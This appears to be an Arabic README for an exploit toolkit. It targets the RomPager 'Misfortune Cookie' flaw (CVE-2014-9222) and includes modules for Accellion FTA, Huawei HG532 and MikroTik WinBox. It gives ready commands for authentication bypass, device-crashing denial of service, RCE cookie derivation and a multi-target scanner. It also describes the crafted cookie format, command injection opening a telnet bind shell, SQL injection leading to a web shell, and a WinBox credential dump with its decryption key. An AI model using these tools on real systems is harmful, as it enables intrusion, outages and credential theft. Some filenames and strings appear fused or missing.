
مجموعة أدوات إثبات مفهوم تفاعلية لثغرة CVE-2014-9222 (Misfortune Cookie) والاستغلالات ذات الصلة بأجهزة التوجيه، وتتضمن وحدات للكشف وتجاوز المصادقة وحجب الخدمة (DoS) وتنفيذ الأكواد عن بُعد (RCE)، مع وضع مسح ضوئي لاستهداف ثغرات متعددة.
تجاوز سعة المكدس في معالجة ملفات تعريف الارتباط HTTP في AllegroSoft RomPager (جميع الإصدارات
< 4.34). طلب واحد غير مصادق عليه مع ترويسة Cookie: مصممة بعناية
يفسد الذاكرة. التأثيرات: تجاوز مصادقة المسؤول، رفض الخدمة/إعادة التشغيل، و(مع
عناوين خاصة بالبرنامج الثابت) تنفيذ كود عن بُعد.
استخدم فقط ضد الأجهزة التي تملكها أو التي لديك إذن صريح لاختبارها.
python3 main.py # ثم حدد هدفًا باستخدام [1]
python3 main.py http://192.168.1.1
[1] تعيين / تبديل الهدف
[2] بصمة الهدف
[3] اكتشاف الثغرة الأمنية (آمن، غير مدمر)
[4] تجاوز المصادقة (ملف تعريف ارتباط سحري)
[5] رفض الخدمة / تعطيل الجهاز (مدمر)
[6] مساعد RCE - اشتقاق ملف تعريف الارتباط من عناوين البرنامج الثابت
[7] البحث في جدول النماذج / ملفات تعريف الارتباط
[8] فحص جميع الثغرات الأمنية (استكشاف)
[A] سلسلة Accellion FTA (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
كل إجراء يطبع ما سيفعله أولاً؛ يتطلب رفض الخدمة كتابة YES. يتم
اكتشاف بصمة النموذج (realm) تلقائيًا من ترويسة WWW-Authenticate
ومطابقتها مع جدول ملفات تعريف الارتباط.
[8] يستكشف مضيفًا ضد جميع عائلات الثغرات الأمنية الأربع باستخدام
فحوصات غير مدمرة ويطبع أي منها يمكن الوصول إليه / يحتمل أن يكون ضعيفًا:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
ثم قم بتشغيل إدخال القائمة المطابق ([3]/[4]/[A]/[B]/[C]) لاستغلال
الثغرة المؤكدة.
إلى جانب Misfortune Cookie، تتضمن وحدة التحكم أدوات PoC لثلاث ثغرات شائعة أخرى في الأجهزة المدمجة/الأجهزة:
[A] Accellion FTA (accellion_fta.py) - يعيد إنتاج سلسلة UNC2546
الموصوفة من قبل Mandiant: استعادة سر w1 عبر حقن SQL من خلال
ترويسة Host مصممة بعناية (/courier/oauth.api)، ثم تشغيل admin.pl لكتابة
قشرة ويب eval، والتحقق منها. 27103 (SSRF) / 27104 (تنفيذ أوامر بعد المصادقة)
مذكورة ولكن لا يتم تنفيذها افتراضيًا.[B] Huawei HG532 (huawei_hg532.py) - إرسال SOAP POST إلى
/ctrlt/DeviceUpgrade_1 مع $(<cmd>) في NewStatusURL، مصادقة HTTP Digest
dslf-config:admin؛ الأمر الافتراضي يفتح قشرة bind telnet على المنفذ 9999.[C] MikroTik WinBox () - قراءة ملف عبر اجتياز الدليل
عبر بروتوكول WinBox؛ الافتراضي يقرأ و
يفك تشفير بيانات الاعتماد المخزنة ( XOR).جميع أدوات PoC الإضافية تتطلب تأكيدًا صريحًا في وحدة التحكم.
python3 detect.py http://192.168.1.1 # فحص آمن
python3 auth_bypass.py http://192.168.1.1 # اكتشاف النموذج تلقائيًا
python3 auth_bypass.py http://192.168.1.1 --restore # إعادة تمكين المصادقة
python3 auth_bypass.py http://192.168.1.1 --all # تجربة جميع ملفات تعريف الارتباط المعروفة
python3 auth_bypass.py http://192.168.1.1 --brute # شامل (بطيء جدًا، يتسبب في تعطل)
python3 dos.py http://192.168.1.1 # تعطل / إعادة تشغيل (مدمر)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # عناوين -> (num, pad)
Cookie: C<evilnum>=<pad "B" bytes><payload>;
evilnum و pad خاصان بالبرنامج الثابت. evilnum يفهرس مصفوفة ملفات تعريف الارتباط
0x28-بايت في RomPager (C_Array + evilnum*0x28 + pad = العنوان
المستبدل). الجدول الخاص بكل نموذج المدمج من exploitdb 39739 ووحدة Metasploit
allegro_rompager_auth_bypass موجود في common.py.
يتطلب صورة برنامج ثابت واحدة دقيقة. الخطوات (انظر rce/README.md): استخراج rootfs
باستخدام binwalk، عكس محلل ملفات تعريف الارتباط في Ghidra للعثور على المخزن المؤقت ->
دلتا $ra المحفوظة، اشتقاق (num, pad) باستخدام derive_cookie.py، التحقق من
كود MIPS shellcode ضد صورة محاكاة QEMU قبل لمس الهدف المباشر.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
و auxiliary/admin/http/allegro_rompager_auth_bypass| الثغرة الأمنية | CVE | ما يفعله الفحص |
|---|
| RomPager | CVE-2014-9222 | لافتة HTTP + الإصدار مقابل 4.34 |
| Huawei HG532 | CVE-2017-17215 | نقطة نهاية SOAP نشطة + نطاق Digest |
| MikroTik WinBox | CVE-2018-14847 | قراءة ملف WinBox مباشرة (يتم تفريغ بيانات الاعتماد) |
| Accellion FTA | CVE-2021-27101/104 | بصمة Accellion/oauth.api |
| القائمة | CVE | الهدف | المنفذ |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| الملف | الغرض |
|---|
main.py | وحدة التحكم التفاعلية |
ui.py | لافتة + أدوات مساعدة للواجهة (header/info/warn/err/success/prompt/confirm) |
common.py | بصمة الأصابع، بناء ملف تعريف الارتباط السحري، جدول (num, pad) لكل نموذج |
detect.py | فحص ثغرة غير مدمر (الإصدار + ملف تعريف ارتباط canary) |
scan.py | استكشاف هدف ضد جميع عائلات الثغرات الأربع (الخيار 8) |
auth_bypass.py | تجاوز مصادقة ملف تعريف الارتباط السحري مع اكتشاف realm تلقائيًا |
dos.py | تحطيم المكدس بملف تعريف ارتباط ضخم -> إعادة تشغيل watchdog |
accellion_fta.py | CVE-2021-27101/27102 حقن SQL -> سلسلة قشرة ويب |
huawei_hg532.py | CVE-2017-17215 حقن أوامر SOAP |
mikrotik_winbox.py | CVE-2018-14847 قراءة ملف WinBox / تفريغ بيانات الاعتماد |
rce/derive_cookie.py | تحويل C_Array + عنوان الهدف إلى (num, pad) |
rce/README.md | منهجية RCE الكاملة + رياضيات الاستغلال |
rce/references/ | شرائح 31C3، ورقة NCC التقنية، كتابات مبسطة، جداول التخطيط |